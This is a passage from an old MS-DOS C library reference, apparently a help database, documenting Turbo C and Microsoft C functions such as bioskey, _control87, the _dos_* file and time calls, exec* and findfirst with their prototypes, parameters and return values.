      - cmd = 0  return next keystroke w/o echo  (INT 16,0)
            = 1  test if key waiting;  0=none  (INT 16,1)
            = 2  return shift key status  (see INT 16,2)


      - AND returned value with 0x00FF to get ASCII value
      - Ctrl-Break causes "while (!bioskey(1))" to loop infinitely in
        Turbo C 2.0 and earlier since it places a zero in the keyboard queue
      - MS C uses ~_bios_keybrd~()
      - see ~INT 16~
:biosmemory
^TC: int biosmemory( void )


      - prototype in bios.h

      - returns BIOS size memory in 1K blocks
      - MS C uses ~_bios_memsize~()
      - see  ~INT 12~
:biosprint
^TC: int biosprint( int cmd, int byte, int port )

      - prototype in bios.h
```

```
      - outputs byte to port
      - port = 0 (LPT1)
             1 (LPT2), etc...
      - cmd = 0 (print byte);
            1 (init printer port);
            2 (get LPT status)

      - returns status of (values are or'd flags):
        0x01 time out (cmd=0 means output error)
        0x08 I/O error
        0x10 selected
        0x20 out of paper
        0x40 acknowledge
        0x80 not busy

      - MS C uses ~_bios_printer~()
      - see ~INT 17~
:biostime
^TC: int biostime( int cmd, long newtime )


      - prototype in bios.h

      - reads or sets BIOS timer
      - cmd = 0  returns current value of timer
            1  sets timer to value of newtime
      - MS C uses ~_bios_timeofday~()

:_bmalloc:_fmalloc:_nmalloc
%     MSC: void _based(void) *_bmalloc( _segment seg, size_t size )
%     MSC: void far *_fmalloc( size_t size )
%     MSC: void near *_nmalloc( size_t size )


      - prototype in malloc.h

      - size = number of bytes to allocate
      - seg = base segment value
      - malloc() maps to _fmalloc or _nmalloc based on memory model
      - _fmalloc allocates memory outside the default data segment if
        possible
      - returns pointer to allocated block or NULL on error;     _bmalloc()
        function returns _NULLOFF on error
      - these functions will allocate a zero length block

:brk
^int brk( void *endds )


      - prototype in alloc.h (malloc.h for MS C)

      - dynamically changes the amount of space allocated to the calling
        programs data segment.  Amount of allocated space increases as
        the break value increases.
      - returns 0 if OK
             -1 with errno set to ENOMEM

:bsearch
%     void *bsearch( void *key, void *base, int nelem, int width,
%                 int (*fcmp )())

      - prototype in stdlib.h
```

```
      - does binary search for items in a table which is
        ALREADY sorted in ascending order
      - base points to 0th element of table
      - nelem contains number of entries in table
      - width contains number of bytes in each entry
      - key points to the search key

      - fcmp() points to comparison routine, where key and elem are
        passed to it as pointers.  Function fcmp() returns:

            integer < 0 if search key < elem;
            integer = 0 if equal;
            returns > 0 if search key > elem

      - returns 0 if no match found, else address of first
        entry that matches

:cabs
^double cabs( struct complex z )


      - prototype in math.h

      - returns absolute value of int n

:calloc
^void *calloc( unsigned count, unsigned sizeeach )


      - prototype in stdlib.h & alloc.h (malloc.h for MS C)

      - allocates main memory
      - see ~malloc~()
:ceil
^double ceil( double x )


      - prototype in math.h

      - rounds up x

:cgets
^char *cgets( char *s )


      - prototype in conio.h

      - reads string from console
      - CR/LF combination is replaced by \0
      - before calling, s[0] should be the max length of string to input
      - on return, s[1] contains the actual string length
      - returns pointer to s[2], the actual data input

:_chain_intr
^MSC: void _chain_intr( void (interrupt far *target)() )


      - prototype in dos.h

      - chains from one interrupt handler to another;  sets up the
        stack as if the interrupt was called directly by pushing the
        flags and the original return address on the stack
```

```
      - this function does not return to caller but returns to the
        code where the interrupt occurred
      - no corresponding function in Turbo C

:chdir
^int chdir( const char *path )


      - prototype in dir.h

      - changes current working directory to path.
      - returns 0 if OK; else -1 with errno set to ENOENT

:_chmod
^TC: int _chmod( const char *filename, int func [,int attrib] )


      - prototype in io.h, also include dos.h

      - if func = 0, returns access mode of file
      - if func = 1, sets access mode of file
      - attrib can be one of the following:

                Turbo C     MSC
               FA_RDONLY       _A_RDONLY
               FA_HIDDEN       _A_HIDDEN
               FA_SYSTEM       _A_SYSTEM


      - if func = 1,
         returns 0 if OK
              -1 with errno set to ENOENT or EACCES

      - if func = 0, returns MSDOS attribute

:chmod
^int chmod( const char *filename, int permiss)


      - prototype in io.h, also include stat.h

      - changes access mode of file according to mask given by permiss,
        where permiss is:

                  S_IWRITE
                  S_IREAD
                  S_IWRITE | S_IREAD

      - returns 0 if OK
             -1 with errno set to ENOENT or EACCES

:_clear87
^unsigned int _clear87( void )


      - prototype in float.h

      - clears 8087/80287 status word & other exceptions
      - returns old status word
      - see ~_status87~()   ~_control87~()
:clearerr
^void clearerr( FILE *stream )
```

- prototype in stdio.h

- resets error indication
- see ~ferror~()

:_clearscreen
^MSC: void far _clearscreen(short target)

- prototype in graph.h

- target = _GCLEARSCREEN clears screen
  = _GVIEWPORT clears current viewport
  = _GWINDOW clears current text window
- available in graphics mode only
- clears target area by filling with current background color

:clock
^clock_t clock(void)

- prototype in time.h

- returns elapsed processor time used by the calling process, or -1L on error
- C startup code retrieves the clock count as preparation for a later call to clock() (Turbo C++ and some versions of MS C)
- resolution is limited to 54ms for both MS C and Turbo C due to the dependency on INT 8 clock tics
- CLK_TCK is shouldn't be used unless CLOCKS_PER_SEC isn't available since the latter is defined by ANSI.
- MS C uses INT 21,2C to get the processor time with 1000 as the value of CLK_TCK
- Turbo C uses INT 1A,2 to get the processor time with 18 as the value of CLK_TCK

- Example usage:

```
clock_t start, finish, duration;

start = clock();
delay(2000);
finish = clock();
duration = finish - start;
printf("%ld - %ld = %ld tics\n", start, finish, duration);
```

:_close
^TC: int _close(int fh)

- prototype in io.h

- closes file fh where fh is file handle from ~_creat~(), ~creat~(), ~creatnew~(), ~creattemp~(), ~dup~(), ~dup2~(), ~_open~(), or ~open~().
- use ~fdopen~() to change file handle to file stream.
- does not write a Ctrl-Z to a text file on closing
- returns 0 if OK; -1 & errno=EBADF
- MS C uses ~_dos_close~()

- see ~INT 21,3E~

:close
^int close(int fh)

```
	- prototype in io.h

	- closes file fh where fh is file handle from ~_creat~(), ~creat~(),
	  ~creatnew~(), ~creattemp~(), ~dup~(), ~dup2~(), ~_open~(), or
	  ~open~()
	- use ~fdopen~() to change file handle to file stream
	- does not write a Ctrl-Z to a text file on closing
	- returns 0 if OK; else -1 & errno may be set of EBADF

:_control87
^MSC: unsigned _control87( unsigned new, unsigned mask )

	- prototype in float.h

	- used to change floating point handling and exception masking
	- new = contains corresponding bit values for any bit set in "mask"
	      to be moved into the coprocessor control word
	- mask	= zero; gets floating-point coprocessor control word
	      = non-zero; if any bit is set, the corresponding bit in
	        "new" is moved into the coprocessor control word
	- returns floating-point coprocessor control word
	- default control word is the logical OR of: IC_AFFINE, RC_NEAR,
	  PC_64, EM_DENORMAL, EM_UNDERFLOW, EM_INEXACT


%	Control Word Mask and Bits

	MCW_EM		interrupt exception control
	MCW_IC		infinity control
	MCW_RC		rounding control
	MCW_PC		precision control

%	Exception Masks

	EM_INVALID	invalid
	EM_DENORMAL	denormal
	EM_ZERODIVIDE	zero divide
	EM_OVERFLOW	overflow
	EM_UNDERFLOW	underflow
	EM_INEXACT	inexact (precision)

%	Infinity Control

	IC_AFFINE	affine
	IC_PROJECTIVE	projective

%	Rounding Control

	RC_CHOP		truncate
	RC_UP		round up
	RC_DOWN		round down
	RC_NEAR		near

%	Precision Control

	PC_24	24 bits precision
	PC_53	53 bits precision
	PC_64	64 bits precision

%	User Status Word Bits
```

```
      SW_INVALID  invalid
      SW_DENORMAL denormal
      SW_ZERODIVIDE     zero divide
      SW_OVERFLOW overflow
      SW_UNDERFLOW      underflow
      SW_INEXACT  inexact precision

%     Invalid Subconditions (if SW_INVALID)

      SW_UNEMULATED     unemulated instruction
      SW_SQRTNEG  square root of a neg number
      SW_STACKOVERFLOW  FP stack overflow
      SW_STACKUNDERFLOW FP stack underflow

%     Floating Point Errors

      FPE_INVALID
      FPE_DENORMAL
      FPE_ZERODIVIDE
      FPE_OVERFLOW
      FPE_UNDERFLOW
      FPE_INEXACT
      FPE_UNEMULATED
      FPE_SQRTNEG
      FPE_STACKOVERFLOW
      FPE_STACKUNDERFLOW
      FPE_EXPLICITGEN

      - see ~_clear87~()   ~_status87~()
:coreleft
%           TC: unsigned coreleft( void )
%           TC: unsigned long coreleft( void )


      - prototype in alloc.h

      - returns a measure of unused memory (see ~malloc~())
      - return value is int for models tiny, small, medium
        return value is long for models compact, large, huge
      - no corresponding function in MS C
:cos
^double cos( double x )


      - prototype in math.h

      - returns the cosine of angle x
      - x must be in radians

:cosh
^double cosh( double x )


      - prototype in math.h

      - returns the hyperbolic cosine of angle x
      - x must be in radians

:country
^TC: struct country *country(int cntrycode,struct country *cntryp)


      - prototype in dos.h
```

```
      - returns country-dependent information

:cprintf
^int cprintf( char *format [, argument,...] )


      - prototype in conio.h

      - sends formatted output to the console
      - TC use either direct memory writes or BIOS calls depending on the
        value of the external integer directvideo
      - see ~PRINTF SPEC~   for format specifications
:cputs
^void cputs( char *s )


      - prototype in conio.h

      - writes string s to console
      - TC: uses either direct memory writes or BIOS calls depending
        on the value of the extern directvideo

:_creat
^TC: int _creat( const char *fname, int attr )


      - prototype in io.h, also include dos.h

      - creates new file (overwrites existing file) of filename with file
        attribute attr, for both read/write
      - attr can be a combination of the following

        FA_RDONLY   set read only attribute
        FA_HIDDEN   set hidden attribute
        FA_SYSTEM   set system attribute

      - file is created in O_BINARY mode
      - returns nonnegative integer if OK, else -1
      - uses DOS function ~INT 21,3C~
      - MSC uses ~_dos_creat~()

:creat
^int creat( const char *filename, int permis )


      - prototype in io.h, also include stat.h

      - creates new file (overwrites existing file) of filename
        with access permission "permis" which is:

            S_IWRITE
            S_IREAD
            S_IWRITE | S_IREAD

        for permission to write, read or read/write.

      - file is created set to _fmode (O_TEXT or O_BINARY)

:creatnew
%     TC:  int creatnew( const char *fname, int attr )
%     MSC: unsigned creatnew( const char *fname, unsigned attr, int fh )
```

```
      - prototype in io.h, also include dos.h

      - creates new file filename with file attribute attr:
      - attr consists of a combination of the following:

        FA_RDONLY   set read only attribute
        FA_HIDDEN   set hidden attribute
        FA_SYSTEM   set system attribute

      - returns nonnegative integer if OK, else -1
      - file is created set to _fmode (O_TEXT or O_BINARY)
      - TC: returns nonnegative integer if OK, else -1
        MSC: return 0 if ok, or DOS error code

:creattemp
^TC: int creattemp( char *filename, int attr )


      - prototype in io.h, also include dos.h

      - creates new file (overwrites existing file) of filename with file
        attribute attrib, for both read/write
      - attr consists of a combination of the following:

        FA_RDONLY   set read only attribute
        FA_HIDDEN   set hidden attribute
        FA_SYSTEM   set system attribute

      - filename is a path name ending in a backslash (\); when file is
        created, filename has a unique path name
      - file is created set to _fmode (O_TEXT or O_BINARY)
      - returns nonnegative integer if OK, else -1
:cscanf
^int cscanf( const char *format [,argument,...] )


      - prototype in conio.h

      - performs formatted input from console


      - see ~SCANF~  and  ~SCANF SPEC~
:ctime
^char *ctime( const long *clock )


      - prototype in time.h

      - converts date and time to a string
      - clock is a long integer (such as that returned by time())
      - generates a 26-character string for date and time
      - returns pointer to string

:ctrlbrk
^TC: void ctrlbrk( int (*fptr )(void) )


      - prototype in dos.h

      - sets a new control-break handler function pointed to by fptr
      - if Ctrl-C hit, then function pointed to by fptr is called
      - use ~longjmp~() to return to a given point in the program
```

```
:dieeetomsbin:dmsbintoieee:fieeetomsbin:fmsbintoieee
%      MSC: int dieeetomsbin( double *srcdbl, double *dstdbl )
%      MSC: int dmsbintoieee( double *srcdbl, double *dstdbl )
%      MSC: int fieeetomsbin( float *srcflt, float *dstflt )
%      MSC: int fmsbintoieee( float *srcflt, float *dstflt )


      - prototype in math.h

      dieeetomsbin() converts IEEE double to Microsoft double
      dmsbintoieee() converts Microsoft double to IEEE double
      fieeetomsbin() converts IEEE float to Microsoft float
      fmsbintoieee() converts Microsoft float to IEEE float

      - srcdbl and srcflt are pointers to source values
      - dstdbl and dstflt are pointers to the destination
      - returns 0 for success; 1 for failure (overflow)

:difftime
^double difftime( time_t time2, time_t time1 )


      - prototype in time.h

      - returns (time2-time1) difference in seconds (double)

:disable:_disable
%              TC:      void disable( void )
%              MSC: void _disable( void )


      - prototype in dos.h

      - disables all interrupts except NMI via ~CLI~ instruction

:_displaycursor
^MSC: short far _displaycursor( short flag )


      - prototype in graph.h

      - flag = _GCURSORON  turn cursor on
             _GCURSOROFF turn cursor off
      - cursor is normally turned off while in graphics mode; calling
        this function determines whether cursor is displayed upon
        exit from graphics mode
      - returns previous value of cursor state flag

:div (c):ldiv
%         MSC: struct _div_t div( int numer, int denom )
%         MSC: struct _ldiv_t ldiv( long int numer, long int denom )


      - prototype in stdlib.h

      - divides numerator by denominator giving quotient and remainder
      - returns div_t or ldiv_t structure of the form:

      struct _div_t           struct _ldiv_t
          {                  {
          int quot;               long quot;
          int rem;                long rem;
```

```
        };                      };
```

```
:_dos_allocmem
^MSC: unsigned _dos_allocmem( unsigned size, unsigned *seg )


      - prototype in dos.h

      - size = number of paragraphs to allocate
      - seg = pointer to buffer to contain allocated segment value
      - returns 0 on success or DOS error code on failure
      - Turbo C uses ~allocmem~()
      - see ~INT 21,48~
:_dos_close
^MSC: unsigned _dos_close( int handle )


      - prototype in dos.h

      - handle is standard DOS file handle attained through ~_dos_creat~(),
        ~_dos_creat~(), ~_dos_creatnew~(), ~_dos_open~(), ~dup~(), ~open~()
      - returns 0 on success or DOS error code on failure
      - does not write a Ctrl-Z to a text file on closing
      - see ~INT 21,3E~
:_dos_creat:_dos_creatnew
%     MSC: unsigned _dos_creatnew(char *fname,unsigned attr,int *handle)
%     MSC: unsigned _dos_creat(char *fname,unsigned attr,int *handle)


      - prototype in dos.h

      - fname = a valid DOS file name
      - attr      = DOS file attribute
            = _A_RDONLY
            = _A_HIDDEN
            = _A_SYSTEM
            = _A_ARCH
      - handle = pointer to location to receive handle
      - returns 0 on success or DOS error code on failure
      - if file sharing is installed, file is opened in compatibility mode
      - see ~INT 21,3C~   ~INT 21,5B~
:_dos_freemem
^MSC: unsigned _dos_freemem( unsigned seg )


      - prototype in dos.h

      - frees memory allocated via _dos_allocmem() or INT 21,49
      - returns 0 on success or DOS error code
      - Turbo C uses ~freemem~()
      - see ~INT 21,49~
:_dos_getdate
^MSC: void _dos_getdate( struct dosdate_t *date )


      - prototype in dos.h

      - date = pointer to structure to contain returned data of format:

      struct dosdate_t
        {
        unsigned char day;          - [1-31]
```

```
        unsigned char month;        - [1-12]
        unsigned int   year;        - [1980-2099]
        unsigned char dayofweek;    - [0-6] = Sun..Sat
        };

      - Turbo C uses ~getdate~()
      - see ~INT 21,2A~
:_dos_getdiskfree
%     MSC: unsigned _dos_getdiskfree(unsigned drv,struct diskfree_t *spc)


      - prototype in dos.h

      - drive =  1 = A:, 2 = B:, 3 = C:, ...
      - spc = structure to contains disk status information
      - returns 0 on success or DOS error code on failure

      struct diskfree_t
         {
         unsigned total_clusters;        - count of all disk clusters
         unsigned avail_clusters;        - free unallocated clusters
         unsigned sectors_per_cluster;
         unsigned bytes_per_sector;
         };

      - Turbo C uses ~getdfree~()
      - see ~INT 21,36~
:_dos_getdrive
^MSC: void _dos_getdrive( unsigned *drive )


      - prototype in dos.h

      - drive = pointer to buffer to receive drive number;
              0 = A:, 1 = B:, ...
      - Turbo C uses ~getdisk~()
      - see ~INT 21,19~
:_dos_getfileattr
^MSC: unsigned _dos_getfileattr( char *path, unsigned *attr )


      - prototype in dos.h

      - path = any valid DOS file name
      - attr = file attribute:

            _A_NORMAL
            _A_RDONLY
            _A_HIDDEN
            _A_SYSTEM
            _A_VOLID
            _A_SUBDIR
            _A_ARCH

      - returns zero on success; nonzero on failure
      - no corresponding function in Turbo C
      - see ~INT 21,43~
:_dos_getftime
^MSC: unsigned _dos_getftime(int h,unsigned *date,unsigned *time)


      - prototype in dos.h
```

```
      - h = open file handle
      - date = pointer to memory to receive file date
      - time = pointer to memory to receive file time
      - returns 0 on success or DOS error code
      - Turbo C uses ~getftime~()
      - see ~INT 21,57~   ~_dos_setftime~()
:_dos_gettime
^MSC: void _dos_gettime( struct dostime_t *time )


      - prototype in dos.h

      - returns DOS time into "time"

      struct dostime_t
          {
          unsigned char hour;       - [0-23]
          unsigned char minute;     - [0-59]
          unsigned char second;     - [0-59]
          unsigned char hsecond;    - hundreths of a second 0-99
          };

      - Turbo C uses ~gettime~()
      - see ~_dos_settime~()
:_dos_getvect
^MSC: void (interrupt far *_dos_getvect( unsigned intnum ))()


      - prototype in dos.h

      - intnum = interrupt to get address of (0..255)
      - returns far pointer to interrupt handler routine

      - Turbo C uses ~getvect~()
      - see ~INT 21,35~   ~_dos_setvect~()
:_dos_keep
^MSC: void _dos_keep( unsigned rc, unsigned size )


      - prototype in dos.h

      - rc = return code to pass to parent process
      - size = number of paragraphs to remain resident

      - Turbo C uses ~keep~()
      - see ~INT 21,31~
:_dos_open
^MSC: unsigned _dos_open( char *fname, unsigned mode, int *handle )

      - prototype in dos.h, fcntl.h (also include share.h)

      - fname = valid DOS file name
      - mode      = file access permission (a logical or of the following)
            = O_NOINHERIT     file can't be inherited by child process
            = O_RDONLY  file is read only
            = O_RDWR    file is read/write
            = O_WRONLY  file is write only
            = SH_COMPAT file sharing compatibility mode
            = SH_DENYNONE     file sharing deny neither read nor write
            = SH_DENYRD file sharing deny read
            = SH_DENYRW file sharing deny read/write
            = SH_DENYWR file sharing deny write
```

```
      - handle = pointer to memory to contain handle
      - does not creat files, they must currently exist (see ~_dos_creat~())
      - returns 0 on success or DOS error code

      - Turbo C uses ~_open~()
      - see ~INT 21,3D~  ~_dos_close~()  ~_dos_read~()
          ~_dos_write~()   ~_dos_creat~()
:_dos_read
%         MSC: unsigned _dos_read( int handle, void far *buffer,
%                             unsigned count, unsigned *nread )


      - prototype in dos.h

      - handle = opened file handle
      - buffer = receives data read from file
      - count = number of bytes to read
      - nread = receives the number of bytes actually read
      - returns 0 on success or DOS error code

      - Turbo C uses ~_open~()
      - see ~INT 21,3F~   ~_dos_open~()  ~_dos_write~()  ~_dos_close~()
:_dos_setblock
%       MSC: unsigned _dos_setblock( unsigned size, unsigned seg,
%                             unsigned *maxsize )


      - prototype in dos.h

      - size = new block size
      - seg = segment of DOS memory block to change
      - maxsize = size of buffer actually allocated if size not available

      - returns 0 on success or DOS error code on failure

      - Turbo C uses ~setblock~()
      - see ~INT 21,4A~   ~_dos_allocmem~()   ~_dos_freemem~()
:_dos_setdate
^MSC: unsigned _dos_setdate( struct dosdate_t *date )


      - prototype in dos.h

      - date = receives date information
      - returns 0 on success or DOS error code on failure
      - sets DOS date via INT 21,2B
      - DOS 3.3+ also sets CMOS clock

      - MS C uses ~_dos_setdate~()
      - see ~INT 21,2B~   ~_dos_getdate~()
:_dos_setdrive
^MSC: void _dos_setdrive( unsigned drive, unsigned *count )


      - prototype in dos.h

      - drive = drive to set as default;  1 = A:, 2 = B:, ...
      - count = receives simple count of total drives in system
      - does not return error if invalid drive is requested, use
        _dos_getdrive() to see if requested drive was set

      - Turbo C uses ~setdisk~()
      - see ~INT 21,E~   ~_dos_getdrive~()
```

```
:_dos_setfileattr
^MSC: unsigned _dos_setfileattr( char *path, unsigned attr )


      - prototype in dos.h

      - path = valid DOS file name
      - attr      = file attribute (logical OR of the following):
            = _A_ARCH
            = _A_HIDDEN
            = _A_NORMAL
            = _A_RDONLY
            = _A_SUBDIR
            = _A_SYSTEM
            = _A_VOLID

      - returns 0 on success or DOS error code on failure

      - see ~INT 21,43~   ~_dos_getfileattr~()
:_dos_setftime
^MSC: unsigned _dos_setftime(int handle,unsigned date,unsigned time)


      - prototype in dos.h

      - handle = opened file handle
      - date = date to set last file write  (see FILE ATTRIBUTES)
      - time = time to set last file write  (see FILE ATTRIBUTES)
      - returns 0 on success or DOS error code on failure

      - Turbo C uses ~setftime~()
      - see ~INT 21,57~   ~_dos_getftime~()   ~FILE ATTRIBUTES~
:_dos_settime
^MSC: unsigned _dos_settime( struct dostime_t *time )


      - prototype in dos.h

      - time = structure containing new time values
      - returns 0 on success or DOS error code on failure
      - sets MS-DOS time via INT 21,2D
      - DOS 3.3+ also sets CMOS clock

      - Turbo C uses ~settime~()
      - see ~INT 21,2D~   ~_dos_gettime~()
:_dos_setvect
%     MSC: void  _dos_setvect( unsigned intnum,
%                        void (interrupt far *handler)() )


      - prototype in dos.h

      - intnum = interrupt vector to set  (0..255)
      - handler = new interrupt routine

      - Turbo C uses ~setvect~()
      - see  ~INT 21,25~   ~_dos_getvect~()
:_dos_write
%        MSC: unsigned _dos_write( int handle, void far *buffer,
%                             unsigned count, unsigned *nbytes )


      - prototype in dos.h
```

```
      - handle = opened file handle
      - buffer = buffer of data to write to file
      - count = number of bytes to write
      - nbytes = receives the number of bytes actually written
      - returns 0 on success or DOS error code on failure

      - Turbo C uses ~_write~()
      - see ~INT 21,40~   ~_dos_open~()  ~_dos_close~()  ~_dos_read~()
:dosexterr
%           TC:  int dosexterr( struct DOSERR *errinfo )
%           MSC: int dosexterr( struct DOSERROR *errinfo )


      - prototype in dos.h

      - returns extended error information (unique to MSDOS 3.0+)
      - errinfo is pointer to DOSERR/DOSERROR structure (defined in dos.h)
      - if 0 returned, previous DOS call did not result in error
      - see   perror
:dostounix
^TC: long dostounix( struct date *dateptr, struct time *timeptr )


      - prototype in dos.h

      - converts date (as from ~getdate~()) and time (as from ~gettime~())
        into UNIX format

:dup
^int dup( int handle )


      - prototype in io.h

      - returns a new file handle that duplicates the old handle
      - returns -1 on error

:dup2
^int dup2( int oldhandle, int newhandle )


      - prototype in io.h

      - returns a new file handle that duplicates the old handle
        equal to newhandle.  If newhandle exists, the corresponding
        file is closed.
      - returns -1 on error

:ecvt
^char *ecvt( double value, int ndigit, int *decpt, int *sign )


      - prototype in stdlib.h

      - converts a floating pt number to a string of ndigit digits,
        returning pointer to that string
      - decpt is position of decimal point (negative value means
        to left of returned digits) and sign is 0 if positive,
        else negative

:_ellipse:_ellipse_w:_elipse_wxy
%     MSC: short _ellipse(short ctl,short x1,short y1,short x2,short y2)
```

```
%     MSC: short _ellipse_w( short ctl, double wx1, double wy1,
%                       double wx2, double wy2 )

%     MSC: short far _ellipse_wxy(short ctl,struct _wxycoord far *pwxy1,
%                       struct _wxycoord far *pwxy2 )

      - prototype in graph.h

      - ctl = _GFILLINTERIOR  fill ellipse with current fill mask
            = _GBORDER        don't fill ellipse
      - returns nonzero value if ellipse is drawn ok, zero otherwise
      - center of ellipse is center of bounding rectangle specified by
        supplied coordinates

      - see ~_setfillmask~()
:enable:_enable
%             TC:      void enable( void )
%             MSC: void _enable( void )


      - prototype in dos.h

      - enables all interrupts via ~STI~ instruction

:eof
^int eof( int handle )


      - prototype in io.h

      - returns 1 if end of file for file associated with handle,
               0 if not end of file
              -1 if bad file number

:exec...:exec
^Exec Function Call

      int execl(pathname,arg0,arg1,arg2,...,argN,NULL )
      int execle(pathname,arg0,arg1,arg2,...,argN,NULL,envp )
      int execlp(pathname,arg0,arg1,arg2,...,argN,NULL )
      int execlpe(pathname,arg0,arg1,arg2,....,argN,NULL,envp )
          char *pathname,*arg0,*arg1,*arg2,....,*argN,*envp[];

      int execv(pathname,arg,NULL )
      int execve(pathname,arg,NULL,envp )
      int execvp(pathname,arg,NULL )
      int execvpe(pathname,arg,NULL,envp )
          char *pathname,*arg[],*envp[];

      - prototype in process.h

      - loads and runs child processes
      - pathname search based on MS-DOS search algorithm
        o if no extension or period - search for exact file name -
          if not found, add .exe and search again
        o if extension given, search only for exact file name
        o if period given, search for file name with no extension


      - arg0 can be the same as the pathname
      - at least one argument must be passed
      - combined argument list cannot exceed 128 bytes
```

```
      - execl..: arg0, arg1,...,argN passed as SEPARATE arguments
      - execv..: arg[0], arg[1],...,arg[N] passed as argument ARRAY
      - execlp, execlpe, execvp, execvpe: search for child in PATH
      - returns no value if OK,
        returns -1, with  errno set to:

            E2BIG  (too many args)
            EACCES (permission denied)
            EMFILE (too many open files)
            ENOENT (path or file not found)
            ENOEXEC (exec format error)
            ENOMEM (not enough memory).

      - if successful, there is no return to the caller; the
        caller is killed off

:exit
^void exit( int completioncode )


      - prototype in process.h and stdlib.h

      - terminates program, closes all files, buffered output is written,
        and any registered exit functions (via ~atexit~()) are called

:_exit
^void _exit( int completioncode )


      - prototype in process.h

      - terminates program, BUT doesn't close files or write the buffered
        output and NO registered exit functions (via ~atexit~()) are called

:exp
^double exp( double x )


      - prototype in math.h

      - returns y = e**x or HUGE_VAL on error

:_expand:_based:_fexpand:_nexpand
%       MSC: void *_expand( void *block, size_t size )
%       MSC: void far *_fexpand( void far *block, size_t size )
%       MSC: void near *_nexpand( void near *block, size_t size )

%       MSC: void _based(void) *_bexpand( _segment seg,
%               void _based(void) *block, size_t size )


      - prototype in malloc.h

      - block = pointer to previously allocated memory block
      - size = new size in bytes
      - seg = based segment value
      - returns pointer to reallocated memory block on success or NULL
        if not;  (_bexpand returns -1 on failure)

:fabs
^double fabs( double x )
```

```
      - prototype in math.h

      - returns absolute value of x

:farcalloc
^TC: void far *farcalloc( unsigned long nunits, unsigned long units )


      - prototype in alloc.h

      - allocates memory from the far heap for an array of nunits
        elements, each units bytes long
      - returns pointer to allocated block or NULL if not enough memory
      - can allocate all of memory & chunks bigger than 64K
      - must use far pointers

:farcoreleft
^TC: unsigned long farcoreleft( void )


      - prototype in alloc.h

      - returns unused memory in bytes beyond highest allocated block

:farfree
^TC: void farfree( void far *block )


      - prototype in alloc.h

      - frees block of previously allocated far memory (block must be
        allocated by ~farcalloc~())

:farrealloc
^TC: void far *farrealloc( void far *block, unsigned long newsize )


      - prototype in alloc.h (malloc.h for MS C)

      - adjusts size of allocated block to newsize, copying contents
        to a new location if necessary
      - returns pointer to reallocated block or NULL on error

:fcvt
^char *fcvt( double value, int ndigit, int *decpt, int *sign )


      - prototype in stdlib.h

      - converts a floating pt number to a string of ndigit digits,
        returning pointer to that string
      - correct digit is rounded for Fortran-F format output of the
        number of digits equal to ndigit
      - decpt is position of decimal point (negative value means to left
        of returned digits) and sign is 0 if positive, else negative

:fclose
^int fclose( FILE *fp )


      - prototype in stdio.h

      - closes a file stream (see ~fdopen~() to convert handle to stream)
```

```
      - generally flushes buffers, too
      - return code should be checked.  Attempts to delete an open file
        will damage the file system.
      - returns 0 on success or EOF on error

:fcloseall
^int fcloseall( void )


      - prototype in stdio.h

      - closes all file streams except stdin & stdout
      - returns 0 on success or EOF on error

:fdopen
^FILE *fdopen( int handle, char *type )


      - prototype in dos.h

      - associates a file STREAM with a file HANDLE
      - handle is returned by ~creat~(), ~dup~(), ~dup2~() or ~open~()
      - type must match mode of the handle
      - returns file stream or NULL on error
      - see ~fopen~()
:feof
^int feof( FILE *stream )


      - prototype in stdio.h

      - detects end of file on a file stream
      - returns zero if NOT eof, else nonzero

:ferror
^int ferror( FILE *stream )


      - prototype in stdio.h

      - tests stream for read/write error, return nonzero if error
      - error remains set until ~clearerr~() or ~rewind~() is called
:fflush
^int fflush( FILE *fp )


      - prototype in stdio.h

      - writes contents of output buffers associated with fp to stream
        and clears input buffer contents; fp is NOT closed
      - returns 0 on success or EOF on error
:fgetc
^int fgetc( FILE *fp )


      - prototype in stdio.h

      - function (not a macro) which gets character from stream
      - returns char (converted to an int) or EOF
      - see ~getc~()
:fgetchar
^int fgetchar( void )
```

```
      - prototype in stdio.h

      - gets character from stream
      - same as ~fgetc~(stdin)
      - returns char (converted to an int) or EOF
      - see ~getc~()
:fgets
^char *fgets( char *s, int size, FILE *fp )


      - prototype in stdio.h

      - gets a string from a stream, reading until size - 1 characters
        have been read or a newline is detected
      - newline character is retained
      - returns s argument if OK, else NULL on eof or error

:filelength
^long filelength( int handle )


      - prototype in io.h

      - gets file size in bytes for file associated with handle
      - value returned includes ^Z in ASCII files;  value is the same as
        displayed in the DOS DIR command
      - returns -1L on error

:fileno
^int fileno( FILE *stream )


      - prototype in stdio.h

      - gets file handle for the given stream
      - error return undefined

:findfirst:_dos_findfirst
%     TC: int findfirst( const char *path, struct ffblk *ffblk, int attr)

%     MSC unsigned _dos_findfirst( char *path, unsigned attr,
%                            struct find_t *fileinfo )

      - prototype in dir.h, also include dos.h (MS C: dos.h only)

      - gets disk directory via DOS 0x4E, where attr is:

%                 Turbo C          Microsoft C

                  FA_RDONLY   _A_RDONLY
                  FA_HIDDEN   _A_HIDDEN
                  FA_SYSTEM   _A_SYSTEM
                  FA_LABEL    _A_VOLID
                  FA_DIREC    _A_SUBDIR
                  FA_ARCH           _A_ARCH

%     struct ffblk      (Turbo C)   struct find_t     (MSC)
          {                       {
          char     ff_reserved[21];     char     reserved[21];
          char     ff_attrib;           char     attrib;
          unsigned ff_ftime;            unsigned wr_time;
          unsigned ff_fdate;            unsigned wr_date;
```

```
          long     ff_fsize;            long     size;
          char     ff_name[13];         char     name[13];
          };                            };
```

- attributes can be logically OR'ed
- struct ffblk is defined in Turbo C's dir.h
- struct find_t is defined in MS C's dos.h
- updates ~DTA~, provisions for saving/setting DTA should be made
- normal files are always included along with files that match the requested attributes except when the LABEL attribute is requested. It's up to the programmer to determine which actually match the requested attributes.
- returns 0 if OK, -1 if no matching files found or on error

- see ~FILE ATTRIBUTES~, ~FINDNEXT~, ~GETDTA~ and ~SETDTA~

:findnext:_dos_findnext

```
%       TC:  int findnext( struct ffblk *ffblk )
%       MSC: unsigned _dos_findnext( struct find_t *fileinfo )
```

- prototype in dir.h, also include (MSC: dos.h only)

- findnext updates ~DTA~
- returns 0 if OK, -1 if no matching files found or on error
- gets next disk directory via DOS 0x4F, after calling ~findfirst~()
- struct ffblk is defined in dir.h for Turbo C and dos.h for MSC

```
%     struct ffblk      (Turbo C)   struct find_t     (MSC)
          {                        {
          char     ff_reserved[21];     char     reserved[21];
          char     ff_attrib;           char     attrib;
          unsigned ff_ftime;            unsigned wr_time;
          unsigned ff_fdate;            unsigned wr_date;
          long     ff_fsize;            long     size;
          char     ff_name[13];         char     name[13];
          };                            };
```

- normal files are always included along with files that match the requested attributes except when the LABEL attribute is requested. It's up to the programmer to determine which actually match the requested attributes.
